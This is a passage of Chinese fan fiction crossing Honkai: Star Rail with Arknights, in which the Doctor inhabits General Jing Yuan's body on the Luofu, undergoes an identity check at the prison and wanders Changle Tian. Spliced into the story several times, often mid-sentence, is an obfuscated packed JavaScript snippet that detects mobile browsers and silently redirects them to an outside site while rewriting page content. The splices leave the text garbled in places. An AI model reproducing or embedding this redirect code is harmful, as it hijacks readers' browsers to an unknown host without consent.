把救下来的人安排好后,在神策府稳定大后方的青镞皱眉找到在休养的景元,她叹气:“已经在用药后睡下了,将军,他到底是什么人?” 本该在病床上休息的景元半躺在卧榻上,闻言还悠闲地晃了晃相当于半摇椅的小榻:“不知道。” “……?”青镞怀疑自己没听清,“什么?” “借幻胧之乱诱导药王秘传残党,将其一网打尽,我虽知他们野心颇大,但也没想到能够在他们的老巢里看到这么惊人的一幕,”似乎是察觉到可靠的帮手即将耗尽的耐心,景元思索了一下,将自己的心绪尽数说出,“你们在里面找到了什么?” 不说这个还好,一提这个青镞就想叹气:“除了那位……自称博士的指挥下让云骑带出来的资料,其他最关键的部分都残缺不全。但,还是能从中看出来一些……” 景元半阖眼:“是不是说,他是药王秘传用某种从毁灭令使手中得到的技术,从其他平行宇宙绑架过来的?” 青镞闭上眼,稳了稳心神,才能控制着自己点头:“……是的。” 那些搜查出来的玉兆、卷轴、文字记录、视频……无一不在诉说这一事实——那是货真价实的将军,只是不属于他们。“你觉得他为什么会自称博士?”青镞最想不通的一是他的自称问题,二就是那截然不同的作战风格,她有很多猜想,但每一种都太残酷,她每一种都不想承认。 所以她向景元寻求答案,至少这能让她不成为下结论的那一个,找到真相这件事对她来说像一种对将军的……宣判。 “因为他不是景元将军,”景元睁眼,鎏金的眼眸中并无多余的感想和情绪,就好像他只在乎真相一般,但所有人都知道他在乎的是什么,“或者说,他自认为并不是景元,更不是将军。比起罗浮的神策将军,他自我定位是智者,是博学者,是指挥官。” 灵砂就是这个时候加入讨论的:“又或许,他是将军的第二人格。只是不知到底是什么样的情况能让将军出现第二人格,更新奇的是,他并无那些常规的第二人格经常出现的离魂现象。” 她微笑着把手中的药碗端着举向景元:“将军,您不会是想要逃掉这碗药吧?” 景元无奈地接过,他当然不会承认自己想过逃避喝药,虽然它被丹鼎司的医师刻意增加了药效——也增加了苦味。 青镞不明白:“为何不会是其他人的意识占用了将军的身体?更何况岁阳与人共生并不是什么少见之事?” “你说的这些我们当然也考虑过,”灵砂垂眼,回忆着自己和那位【景元】的交流过程,“但我在他的身上并未闻到岁阳独特的……味道。而他人的意识——” 16 “将军!您醒了!”我还没来得及睁眼,就听到了清脆的介于童音和少年音中间的呼声,以前隔着屏幕没觉得,现在睁眼后就被金黄色的发色和瞳色晃了眼后才知道——彦卿!你真的很阳光耶! 就是不要这么高效地反射太阳光就更好了。 我眨了眨眼,缓解了长时间沉睡的酸涩:“是的,请给我水喝,我要说不出话来了。” 在药王秘传的时候能用到嘴的时候实在太多,忽悠魁首要耍嘴皮子,翘那些研究人员的话要各种话术轮番上,甚至拉拢个普通看门的让他们习惯给我行个方便都要动脑筋。出来后刚冲关打了个痛快,又要和完全不熟悉的干员……阿不,云骑,我老是反应不过来…… 又要指挥不熟悉的云骑打一场不熟悉的战争,一边听着景元元在我脑子随时给我打小抄介绍各种技能,一边把它转化成我能明白的数据化视图,一边和现场的各位进行对比修正,还要再转化回这些人能听懂的命令传达下去。 幸好景元元也是智识命途的,他脑子也挺好使的,不然换个普通人说不定会被我烧坏脑子。就算这样我也休息了很久才缓过劲儿来。 [不是因为你晚上睡觉还要用prts办公?]景元元,你拆台拆的好果断。 彦卿听了我的请求后先是一愣,然后急匆匆跑了出去:“对不起将军,我这就去!” 留我在他身后:“跑慢点!不着急!咳咳咳……”好吧我喊的是有点大声了,给我自己呛着了。 我躺回柔软的枕头上,眯着眼享受片刻安宁:[你在干什么呢?] [尝试健康餐?] 睁眼,我一个垂死病中惊坐起:[……芙蓉?] [?] 可怜的景元元,他还不知道即将发生什么,我安静地把一部分通感像调低音量一样调低同步度,任他怎么扣问号给我都说没事。 很快,对面就没有了声息。 芙门。 在心里默默为景元元祈祷了一下后,我就把他抛之脑后,是的我就是这样一个冷酷无情的—— “将军?”彦卿担忧地摸了摸我的额头,然后把水杯放进我的手中。 我猛地回神,看着这个从一开始我就很喜欢的意气风发小少年,忍不住微笑:“你回来的好快,谢谢你留在这里照顾我,”我冲他眨眨眼,“不过你是知道我并非你认识的那位景元将军的,对吧?” 他抿着嘴笑:“是的!彦卿是主动要求留下来的,将军——我是说,师傅那边并不缺少照顾的人手,所以我就想着……”接下来的话像是比较袒露真心,所以他越说声音越小,不是很好意思这么直白的表达自己的善意。 嗯,我当初喜欢他就是因为我知道,他是个顶好的孩子,我心里一软,手已经抬起来摸了摸他的头顶:“谢谢彦卿。” 他耳尖开始泛粉,但还是很稳重地清了下嗓子,挺直腰背:“咳,不用谢!为将军分忧!” 我说什么来着,他真的是很好的孩子,而且还巨可爱。 我拍拍床铺边缘,让他坐下和我说话,或许是前面聊的不错,他很放松的坐下了。据他说我昏迷了不少时间,至少足够景元简单整理好自己后休息到足够再次于公众前出面。 就在我思索景元他们是怎么养的小孩儿,养的如此阳光活泼时,雪衣敲开了病房的门。只一眼,我就知道他们对我的防备并未完全打消,但也不至于将我当做敌人处理。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664728|172948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以我反应远没有彦卿激烈,他几乎是在看清代表着十王司的雪衣瞬间就站起身,手中也同时多了一把剑,挡在了我的身前。我看着雪衣当场懵了一下的样子不禁失笑,握住彦卿的肩膀让他放轻松:“这应当是你师傅的安排,放松,你紧张什么?我都不紧张,你还不信你师傅吗?” 他顺着我的手微微侧过身,保持让雪衣一直停留在视线中的角度,看上去是有些迟疑了,但还有犹疑:“可是……” “哎呀,”就在这时景元终于出现了,他笑吟吟的样子实在是把聪明人三个字写在脸上,“看来彦卿和这位景元博士相处的很好。” 嗯? 嗯?!?! 你叫我啥?! 我实在控制不住自己睁大眼睛,震惊阻止这个称号扩散开:“直接称我博士就好,我不是景元。”我歉意地冲彦卿点了点头,我虽然明说了我不是他们这边的景元,但并没有点明我压根儿除了身体连景元本人都不是。 然后我就听到了超绝不经意的一句:“连自己的名字都不承认了吗……” 你别以为你装作自己在自言自语就能糊弄过去!就是讲给我听的吧?! “……真不是景元,”我叹气,“他在我那边呢,我正在想办法让他回来——以及把他送回他的罗浮。” “送你回你的罗浮这件事我们也会帮忙,但你既然坚信自己并非神策将军本人,那么我们也会用我们的方式来确定,就是要委屈你和我一起去一趟幽囚狱了。”景元,你是不是在哄孩子,你这语气怎么回事,你和彦卿都不这么说话。 我想了两下就明白了,他以为我是景元元本人,然后把我当成了他第二人格了,这太抽象了。我本人还在泰拉纠结自己到底是穿越者还是算博士的失忆后第二人格的时候,在罗浮已经荣幸地先一步成为一个跟我不相关的人的第二人格了。 哈哈,这太有意思了。 我戳了戳景元元:[好了吗?你缓过来了吗?你醒醒,我要去幽囚狱了,你先醒一下陪我走完再继续昏。] [……无碍,不过是口味上的一点差异,我没有昏过去,]他还在坚持嘴硬,哇,[你随他去,如果我猜的没错,那就只是一个小检查。无论结果是什么,他都不会为难你。] 那当然了,我可是开局投锋直接小苹果,无论他检查出来我是景元元本人还是异魂,都能说的过去,前者就说明我为第二人格,你跟一个刚出生的第二人格较什么劲,后者说明我是坦诚且无辜的善意第三人,你也不能对受害者进行逼迫。反正确认了这里的景元并非什么黑化if线后,我倒是松了好几口气。 这么一说,我运气还是很不错的,遇到的都是好人——再说一遍,我识人用人的能力才是我所有能力中最强的,这也是我能坦然行走那片大地的底气。 舒服了,每日任务打卡。 大地,1/1。 咳,总之,有两个景元陪着我下狱,本就为数不多紧张感消失殆尽,要不是还要帮景元元在公共场合端着点儿,我就要好奇地东张西望了。 5. 停止你们的脑内活动 17 彦卿说的有一部分为真,或者说,他只是掩藏了那些连他自己都说不清的心绪。他相信,若非他来的不巧,撞破了丹鼎司新来的司鼎迷晕那位……博士的现场,或许将军他们就要把这件事保密到底了。 但如果将军真的不想让他知道,彦卿相信以神策将军的才智是能天衣无缝的遮掩过去的,这是对将军智慧的信任。 所以他很矛盾。 但很快他就没心思想这些了,【景元】醒了。他醒来时整个人都有些恍惚,可彦卿不会看错他眼中的警惕,几乎是在恢复意识的同时【景元】就锁定了房间中除他以外的唯一的陌生人,也就是说彦卿在【景元】醒来的瞬间就处于他的攻击范围中了。 但等到更清醒一点——足够他识别出这是平行世界的弟子时——【景元】就收起来了自己极具威胁的一面。彦卿下意识的:“将军!您醒了!”也收到了一个颇为无奈的温暖笑容作为回应。 【景元】张开口想要说话,但嘶哑的声音让他咳了两下,最终还是叹了口气:“是的,请给我水喝,我要说不出话来了。”就像砂纸在石板上用力摩擦一样的声音,感觉下一秒就要在这粗暴的动作下断声。彦卿懊恼自己怎么没想到这一点,转身急匆匆地跑了出去,于是就没听到【景元】的呼唤和嘶哑的咳嗽。 门外的景元看着【景元】下意识伸出的那只手,他把手收回眼前,专注地看了许久,最终无奈地笑了一下,像是耗尽所有气力一样疲惫地闭了闭眼。他缓缓松开撑住身体的胳膊,让自己躺了回去,似乎是想这样等待彦卿回来。 但几乎是陷入迷蒙的下一个瞬间他突然坐起身,眼睛睁的很大,像是受到了什么剧烈的惊吓。【景元】在这样的惊恐中一声未发,只是脸上出现了忍耐的神情,望着虚空出神。 他就保持着这样的状态,直到彦卿回来,用手中的热水杯唤回他的神智。 景元看着他眼神温和地同彦卿说着话,那神情就像在看自家的子侄,又带着些感念,像在透过他看着其他人。估摸着时间差不多了,景元便让雪衣推开门,看着挡在【景元】面前的彦卿,景元觉得自己这个时机把握的还是不错的——再多一会儿,亲徒弟就真的要被忽悠走了。 “哎呀,看来彦卿和这位【景元】博士相处的很好。”这句还真是真心话。 然而出乎景元的预料,他对“景元”这个名字的接受度也很低,那震惊绝不作伪。他还是坚持自己是异世之魂。 18 幽囚狱,灵砂是伴着景元来的,她虽才回罗浮不久,但实在好用,很快就成为神策将军可靠的左臂右膀之一。无论是在第一见面时就察觉【景元】神志有异,还是不动声色支开新手医师防止信息泄露,她都做到了最完美的临场反应。 甚至于【景元】的全面体检也是她来主持的,在排除了大规模身体改造,和显性症状的魔阴身后,她仍旧怀疑【景元】的内核为何人。她和景元一样倾向于【景元】即为本人,但他们也同时对这个结论抱有疑虑。 所以才有了这一趟幽囚狱因果殿之行。 这位自称博士的【景元】本人倒没什么紧张感,他似乎对这地方很陌生,虽然动作幅度不大,但眼神灵动,看什么都好奇。很是配合他们的要求,让干什么干什么,让去哪儿去哪儿。 完全看不出来药王秘传那搜出来的日志记录中,让莳者“每天在怀疑他能不能听懂仙舟话和质疑联觉信标到底行不行中横跳”的风范。 只是在寒鸦给出“他即为本人”的结论后震惊的无与伦比。 “……可是这不可能,”灿金的眼眸因急切而愈发明亮,“等我一下,我调整一个东西……”他闭着眼睛,景元没有感受到他与“调整”之前有什么太大的差别,但他的脸色确实是苍白了几分。 19 [停下来,]我听到景元元用严肃的语气阻止我,[你在断开神经连接?] [不然我无法证实灵魂的差异性,还是说“灵魂”本身就是个伪命题?我不知道。所以我需要验证,而这就是个很好的机会,去掉神经连接的因素后再去验证一次。]我明白他为什么阻止我,但我也要他明白我必须这么做的理由。 他仍旧是不同意:[我们第一次“相见”时你便这样做过,我知道断开连接是什么样的感受,我更知道你现在做的不止如此,停下,■■博士。]他在喊我的名字,哈哈,搞得这么正式做什么……布兑,他已经不止知道我的昵称了吗?!阿米娅你也不用真的什么都和他说…… [可是我不能永远使用你的身体生活在甚至不是你的世界里,我们必须让一切恢复正常,泰拉需要我,罗浮需要你。你应当明白,你肯定明白,想想你在面对两难境地时为什么以身入局?我们是一样的,]很难想象曾经只是个普通人的我竟然也能和景元说“我们一样”这种话,[这是我的选择,而我同时很明白我对罗德岛的意义,我不会让自己受伤。] 就像我会尽力避免让景元元的身体受伤一样,我不会让“博士”的状态下滑到无法工作的状态,维持较好的状态是凯尔希和我自己对我的要求。我明白什么是最重要的,所以我会进行合理的权衡。 景元元又在叹气:[……你只是明白了一部分,不过我相信你的判断,去做吧。] 啊,我明白另一部分,只是这种事让本人说出来是不是太自夸自擂了,什么“他们也喜欢我乐观积极的态度”,“信任我对一切事物的了解和判断”,“有我在就是他们内心的定海神针”,你真的想听我直接这么说吗?!所以维持一个好的心态比维持一个好的工作状态更重要,至少工作还有凯尔希,活跃气氛总不能也让凯尔希来干吧? 白头发老猞猁会一边“大地1/1”一边把我当成握力计一只手攥着举起来的。 我微笑着接受了景元元的溺爱:[谢谢!]然后毫不犹豫的咔地断网。 哇哈哈哈我就是这么冷酷无情的—— 啊不对,还得尽快让他们完成因果殿验证,当时看游戏剧情文案,说十王司接引长生种去因果殿时,我就猜测他们或许接引的就是灵魂。果不其然。 我抬头看向景元:“可以重来一次吗?这次再看看有没有什么变化。” 他神色复杂地看着我,然后点头同意了向寒鸦发出指令。 我感受到了一阵眩晕,那是刚才没有经历过的……果然,和景元元的神经连接不仅连接了我们,也能够让他的灵魂和我共担承压。片刻后,我恢复了神志,白发偃偶也结束了,她迟疑着说:“……他,即为本人。” …… 啊?! 不是你等会儿?! 我:“你犹豫了,你有未尽之言。”快给我改口! “嗯……”她迟疑着看向景元,得到了他的首肯后说的更详尽了些,“我先前看你时,你和将军并无不同,虽说世上没有完全相同的叶子,但我无法找出你们的不同。现在……我再去看你,你已经与之前大不相同了,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664729|172948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我得到的结果还是如此,你就是这个身体本人。” 足够了,我已经获得足够多的信息,我已经有研究思路了。 但是…… “那寒鸦小姐认为,他究竟是陌生的魂魄,还是【景元】的第二人格呢?”景元笑眯眯地问出来了,我最害怕的这个问题! 我很想打断他,但是此刻神经连接已经重新上线,景元元还在我脑子里找我事:[你刚刚断的很果断啊?] 出现了!禁忌双重奏!内外夹击!我装作刚才什么都没发生的样子:[没有,你看错了。对了,他们马上要坚持我是你的第二人格了……] [没关系,毕竟我已经成你的第二人格了。]景元元很是坦然地喝了口饮料,啊,是的,罗德岛对那些察觉到异常的人的解释就是“第二人格”这个百试百灵的理由。反正我能够随时给出合适的建议去让景元元作为参考,这个理由没有露馅的风险。 也行,那我也懒得管他们怎么解释的了,反正也不会影响我什么。 20 不对。 不对不对不对,事情不应该是这样的。 我端坐在桌案前,茫然地拿着一个类似pad的东西,一只手死死拉住青镞转身时飘起的衣摆:“不是,你说景元让我来做什么?!” “他没跟你说吗?”青镞的表情好茫然,她怎么可以比我还茫然,“我以为这是你们之间商量好了的?” 商量?你管他昨天晚上临睡前和我说的那句“明天要麻烦你在神策府坐班一天”叫商量?! 我以为我只是帮他营造出一个将军仍在神策府的假象,没人说我还要替他办公啊! 青镞看了我些许时候,然后恍然大悟:“没关系,这里没有什么重要机密的事务,就算给你看了也不碍事。更何况您也是【景元将军】,我们都承认你的身份。”你悟什么了!还有不要随便承认别人的身份! 我感觉自己要被景元给气笑了,但转念一想,这也算是我交的食宿费了,今天其他工作也完成的差不多了,关于回去的实验还没有条件开始……唉,看在他在我看不见的地方给我作保,给我争取自由活动的权利的份上…… 我一脸不爽地坐了回去,拿起板子开始骚扰正主:[景元元,景元元!来,交房租了。] [……你知道这么做了以后,只会更加坐实你“第二人格”的身份吧?] [我知道,]我手上不停,一边根据他的建议修改方案,一边分心和他说话,[但你难道对那些药王秘传给我用的药不好奇吗?为什么你的世界里,明明作用是增加丰饶力量的药物,却能够直接增加我的理智值,而对你的身体没有任何影响……] [你有计划了。]他语气肯定,啧,这么了解我干什么。 我干脆点头:[计划提不上,只是有点想法了。将错就错,如果他们认为我是“景元”那就让他们这么认为着,让他们把对付“景元”的招用我身上,让他们分不清我到底是什么。你也看到那种药物用在普通长生种身上的效果了,除了魔阴身没有第二种下场。我对你身上特殊性的猜想有两个,一是我灵魂的特殊性,二是“博士”的研究,源石的特殊性。] [那么这些就交给你了,]他也很果断,一旦确认了我的专业性后便用人不疑,[房租就交给我了。] 哈哈哈哈哈哈,是这样的,他有时候就是会在莫名其妙的细节上让我感受到奇特的纵容感。但听他说“房租”这两个字真的挺有意思的。 6. 长乐天遛弯儿 21 “将军回来了!”站在门口的神策府侍卫长浴铁通传的声音是和景元一起进来的,彼时我已经把工作都消灭的差不多了,我是指连我在泰拉的那一份也做了不少了。剩下的可以让看过我工作过程的景元元搞定,反正就是一些值班表的安排啊,还有日常的贸易订单处理,物资生产安排。 都是些很简单的事情,也和机密没啥关系,甚至就按我以前的工作记录照抄作业就行了。就在我和他在脑海中互相核对对方的工作成果时,景元走了过来,站在我身边,随手拿起一卷稿纸看我处理过程中随手记录的草稿。 我当时还在给最后几个罗浮重建方案的定稿进行对比修正的收尾工作,我寻思着他看就看吧,就跟考试的时候监考老师看你卷子一样,做的差不多的人也不怕老师看。然后我就听到了一句:“你竟然都自己做了?” 我还没听懂他在说什么,只觉得他莫名其妙,然后就用那种眼神瞅了他一眼。想让他理解我觉得他稍微有点烦,明明我都给他替班了他就别找我茬了。 然后我听到他说:“我把青镞留给你本以为你要用上的……原来第二人格对身体原本的记忆并非一无所知吗?” 我拿着笔的手僵住了,我僵硬地抬起头看他:“这些不是留给我做的?” 他还一脸惊讶:“博士不是说自己并非景元吗?我还以为你并不善于此道,”他一拍自己的脑袋装作懊恼的样子,“也怪我没和青镞说清楚,让她多帮衬着你。” 我抽了抽嘴角:“行了,别演了,我都写完了你才说……突然生起了某种不甘心的感觉,总觉得我多做了好多原本不属于我的活儿……”我冲他翻了个白眼。 “哈哈哈哈,那作为赔礼,我带你逛逛长乐天?”看我说什么来着?他就是故意的,还笑呢。 我摇了摇头:“那你出钱。” “那是应当,不过……你有钱?”景元脸上的笑意一时半会儿是下不去了。 “没有,”我相当光棍儿的摊了摊手,“所以我才问的嘛,不然我吃完没钱付,回头别人要说罗浮将军吃霸王餐了。那多不好,对吧!” 22 【景元】脾气温和的让人不好意思,青镞也没想到他竟然毫无疑问地就接下了景元留下的工作,那些他疲于应付但一直都做的很好的工作。青镞对将军向来很尊敬,但有时也会心疼这样的将军,所以经常对景元的逃班睁只眼闭只眼,甚至为他打掩护。 她本以为【景元】也是这样的,但……该说不愧是景元将军分出来的第二人格吗,是有那种说法的对吧?一般分出来的人格都是为了面对自己不愿面对的事情,或许这就是为什么【景元】能够快速上手那些文件。青镞站在一旁,一边给博士打下手一边胡乱猜测着。 她时不时拿起玉兆给景元将军发消息,博士也一次都没有问过,他只是抬眼看了看她的玉兆就把头埋了回去,就好像她做的一切都是正常的,没有什么值得特殊询问的地方。 高效,冷静,镇定。青镞看着他处理好的事务,深感他与将军的不同——他像一个最高效的机器,输入条件就能输出答案,将军虽然也智慧且算无遗策,但【景元】的高效像是能够把所有因素都当做棋子摆放在沙盘上。他不近人情。 青镞看了眼一脸“老人、手机、地铁JPG”的博士,在心里更正:他做决策的时候不近人情。 出乎她的意料,他全程没有向她求助过任何问题,只是吩咐她去收集哪些资料,就像将军工作时那样,她虽为策士也只能做一些收集资料打打下手的事。这让她对【景元】的身份更加深信不疑。 当然,这也是因为这身份是景元将军本人亲口承认的,从某种意义上来说,全神策府甚至于全罗浮对将军都有种惯性的盲目信任。 他的作保是【景元】最强大有力的后盾,否则……青镞看了眼手下其他策士发来的消息,持明一族中,似乎有些力量要蠢蠢欲动了。 景元近日不在神策府也是为此,他相信光凭早就被反复打击在罗浮阴暗处苟延残喘的药王秘传,是不可能做到这么多事的。唯有一种可能,罗浮内部有内应。 会是谁呢?好难猜啊。 景元带着博士离开了神策府,离开前他同青镞对视了一眼,青镞微不可查地点了点头。博士突然回头:“确定吗?这样全世界都知道将军二重身这件事不只是传说了,虽然我是无所谓。” “无碍,”景元笑了,难得的发自内心笑了,“总不能因噎废食,更何况我也不能一直将你禁足在府中,倒还不如让他们早日习惯。”他说的是让罗浮的民众早日习惯,言下之意更是让博士习惯,但…… 他看着穿着常服一手烤串一手苏打豆汁的博士陷入沉思,这家伙习惯的是不是有点太快了? 23 [极限环境能够逼出人的潜能。]我总结道。 [我恨你,]景元元闷闷的声音响起,[用苏打豆汁逼出我运用神经连接的潜能?] 我乐呵呵地:[不用谢,我也爱你。而且这不是苏打豆汁,这是爆款网红薄荷波月古海盐味苏打豆汁,这名字也太长了?果然是网红产品。] 景元元:[……一边喝一边吐就不要喝了,你在做什么极限挑战吗?] 不,我只是单纯的好奇加不甘心,我买都买了——不喝怎么行!虽然,呕,它味道真的,呕—— 然后我眼睁睁看着我的理智值缓慢的掉了一个数字,啊,好神奇。我只有模拟失败后重来才会扣理智耶! [……别喝了。] 这时候我身侧伸过来一只手按住我的胳膊:“如果喝不下可以不喝,”景元将军叹息着,用钢钳一样的手捉住我,“给我吧,我去处理掉。” 我一边嘴硬一边递给他:“话说网红产品真的巨容易踩雷啊,但是会不会浪费食物……?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664730|172948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他按住我的头:“可是你再喝下去,就要浪费药材了。” 也不至于吧? 我看着他离开的背影摸摸下巴:[景元元,他摸你头诶。] [他摸的是你,]诶这人怎么不上钩,[以及我已经在你喝豆汁的时候把共感程度调到最低了,只有你被摸头了。] ……可恶,真的,景元元你越来越不好玩了。 “景……元将军?”那个网红店老板从刚才开始就不停的看我和景元,现在景元去扔垃圾而走远了些,估计是不用承担双倍的压力,他终于鼓足勇气跟我搭话,“您是景元将军……那……那位是?” 我冲他眨眨眼:“他是景元将军,叫我博士就好,我不是将军。” “!”他眼睛都亮了,“您是将军的双生兄弟?从没听将军说过呢!您什么时候回来的?哎呀,刚才那份就不该收您的钱……不对,刚才就不该把这玩意儿卖给您——” 合着你也知道这玩意儿不适合智人食用啊?! “哎呀,这不是足够猎奇吗,您是不知道,只要够偏门够奇怪,什么都有人买!”他简直是打开了话匣子,侃侃而谈口若悬河,我稍微递个话他就能自己说一箩筐。 我还挺喜欢听这种生动充满活力的人说话的,看来罗浮是真的挺好的嘛,至少它并不缺热爱生活的人。看到景元回来了我挥手跟他告别,他还恋恋不舍:“博士!您下次来我给你打折!网红产品第一单一律免单!”给我乐的不行。 景元问我:“你们一见如故?” 我笑眯眯指了指自己的脸:“我狐假虎威,基本都是看在你面子上才优待我啦,你是真的很得民心啊。” 他弯着眼:“盛誉了,博士也很招人喜欢。” 那确实,有时候我都不知道发生了什么,我那些干员们就对我好感度噌噌加。 24 景元看着博士一路在长乐天逛吃逛吃,他倒是第一次从旁观者的角度这样看着自己,虽然他明白这人确实不是自己,但看着这张脸露出这么……清澈的表情,也不是什么常见的事。他饶有兴致地陪着博士玩儿了一圈,然后跟着他坐在了棋牌茶室的露天区,围观别人打牌。 博士看着看着突然转头问他:“你知道我们之间最大的区别是什么吗?” “是什么?”景元还挺期待他的“高见”。 “我们之间最大的区别是,你摸鱼或者做一些莫名其妙的事情的时候,认识你的人无论是自己人还是敌人都觉得‘将军这么做一定有他的理由’,而我的同事们和朋友们都能精准的辨认我什么时候在摸鱼玩儿……”博士幽怨地吐槽。 那张艳丽的脸露出了生动的(=A=),让人深感他白长了这么张好看的脸。更是让藏在旁边一直在关注他们的人咬紧了牙,很难相信另一个世界的景元竟然是这样的,简直让人恨不得…… 杀又不能杀,他快气死了。 7.携手并进 25 是的,所有人,好吧也不至于所有人,反正我和景元将军都发现了暗中乱窜的家伙,但他们似乎还很自信于他们的隐藏手段。我啃了一口冰棒,在被三桌人轰走后溜达回了景元身边——他嫌我太吵了,自己一个人找了个桌子泡了壶茶。 我看了眼自己全是食物和食物残渣的手,又思忖了一下我跟景元的关系,最后决定对没那么熟的景元客气点,然后我用胳膊肘了他一下:“回去不?人多的时候虫子最少,等人少了虫子可就要都出来了。我对那种能飞还窜来窜去的昆虫有点应激。”比如苍蝇蚊子蟑螂蛾子。 “走吧,”他叹了口气,把被我肘歪的衣服整理好,“也到回去的时候了,不过你可能不需要吃饭了?” 我把吃完后的包装袋扔掉,看着天感受了一下,相当开朗地自信答道:“虽然现在是吃饱了,但走回去差不多到门口就又能继续吃了。” 错觉吗,好像听到了磨牙的声音。 26 之前博士让他预测一下事情走向时,景元元表示未知全貌不予置评,但,就他目前来看,这儿的罗浮似乎有点儿太疯了。不,并不是说别的,这里的将军和他的手下们都正常,行走在街道上,路上的行人——他是说真路人——也都乐观且安康,但这里的人更偏执。 他们的执念太过热烈,景元元有时看着看着就会突然开始反思自己的世界里是否也是如此。 想不出来,换了个柔弱的身体还突然得到一堆工作的景元眨眨眼,他或许只能等到以后回去再亲眼看到他的世界后,才能对比出答案。 但此刻,他只想和博士一起感慨:[这些人是真的对罗浮将军有很深的执念。] 博士:[?你难道不是罗浮将军吗?] [其实我一直有一个疑问,我的直觉告诉我,你并不是所谓“从身体大脑自带的片羽记忆和习惯”中了解我的,你是不是从一开始就知道的比我认为的更多?]景元元挑了个前不着村后不着店的时机非常突兀的问出了这句话,看似失言,但却是耍了个小心机想打博士一个措手不及。 [哼哼,你终于问了,]但博士可一直等着呢,他实际上是个憋不住话的性子,秘密憋太久真能让他急得宛如做梦找不到厕所一样原地转圈,[个中原理十分复杂!但总之我对某种“命运”十分熟悉,那个命运中的每个细节都自始存在于我的脑海中。所以我其实从某种意义上来说,知晓命运本身,从宏观上来说是预知者。] [那你预知到我们之间的……] [没有。]博士相当果断地认输。 他在景元笑出来之前就滑跪:[都说了是“某条命运线”以及“从宏观上”预知,我连自己为什么会在泰拉醒过来都不知道,我怎么会知道为什么我会在罗浮醒来。] [……据我所知,你一直存在于泰拉,]景元元感到一切都变得扑朔迷离,他一直以为这一切只是药王秘传在把他“偷”到这个罗浮时,误把另一个世界的无辜人士牵连进来了而已,[你只是受了很严重的伤,然后休养过后再次醒来就失忆了。] [奇怪吧?但我在醒来后并不记得他们与我说的一切关于泰拉的事,反而记得你们世界的“命运”,可当我随罗德岛行走在泰拉大陆时,各种奇异的熟悉感却会涌上心头。我时常分不清我是谁,景元,我到底是■■,还是博士呢?你看,现在我们互换了身体,那么或许还有一种可能——从一开始这具“博士”的身体,也不是我的呢?] 博士一边笑嘻嘻地和路上同他与景元打招呼的行人挥手,一边用冷静的不可思议的语气在脑中与另一位景元交心。 [所以,景元!景元元!元宝!我想拜托你一件事情!]博士突然换上欢快的声音开始在脑海里狂点代表景元元的那个按键。 景元元扶额叹气:[你说吧,什么事。再不答应你,我都不知道自己要多出多少种外号和昵称出来。]主要是听自己的声音发出这种动静,实在是很恐怖。 博士并没有他说的那样迷茫到恐惧,他是稳定的,平和的,但换作另外任何人处于他的位置都无法保持这样的镇定,这令时常搞抽象而看起来脑子不太好使的博士突然深不可测起来。当然,被迫和老博24h“亲密”相处了几个月的景元元不会这么看待博士,再说一遍,他对博士只剩下礼貌性的警惕心了。 [用我的身体去作为第二个博士参与泰拉的命运,然后用你的视角观察从醒来至今的我,]博士语气轻柔,[等到我们正式见面的时候,告诉我你的结论,关于我到底是谁。] [这倒是稀奇,让我来解答属于你自己的人生?] [哎呀!走个捷径嘛,你来都来了帮我看看怎么了?这不都顺手的事儿嘛!]论耍无赖这方面,老博算得上头号人物,要不是条件不允许他甚至能在地上滚两圈儿再拽着景元元裤腿儿求他办事。 而此时,博士心心念念的景元元正站在罗德岛的甲板上,舰船在陆地上行驶,在夕阳的照耀下缓缓驶向卡西米尔。恒星橘红色的光芒以贴近地平面的角度照射过来,试图点亮景元藏在面罩下面的眼睛。他看着很远很远的地方,那微渺但连绵不断的城市,卡西米尔也是移动城市,博士是这么告诉他的,就像他脚底的这座舰船一样,在天灾来临时开着城市跑路——多么有趣又无奈的奇迹。 这宇宙从来不缺少奇迹,但当它落在每个具体的人身上时,你又会发现,好像我们确实挺缺奇迹的。 在罗德岛生活了这么久已经足够让景元意识到博士对他们意味着什么了,那是另一场奇迹,一个希望。他无法代替博士,但他并不需要代替他,他们可以互为同行者——这就是博士正要邀请他做的。 [唉,]景元虽然是在叹气,但脸上却是在真心实意地笑着的,[你什么时候能让我做一次推动进程的事?] [先到先得啊将军,友谊的花语是手慢无!]博士得意忘形地胡言乱语。 夕日欲颓,卡西米尔即将进入灯霓酒醉的夜晚,天色还未到最深沉的黑的时候,他们还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 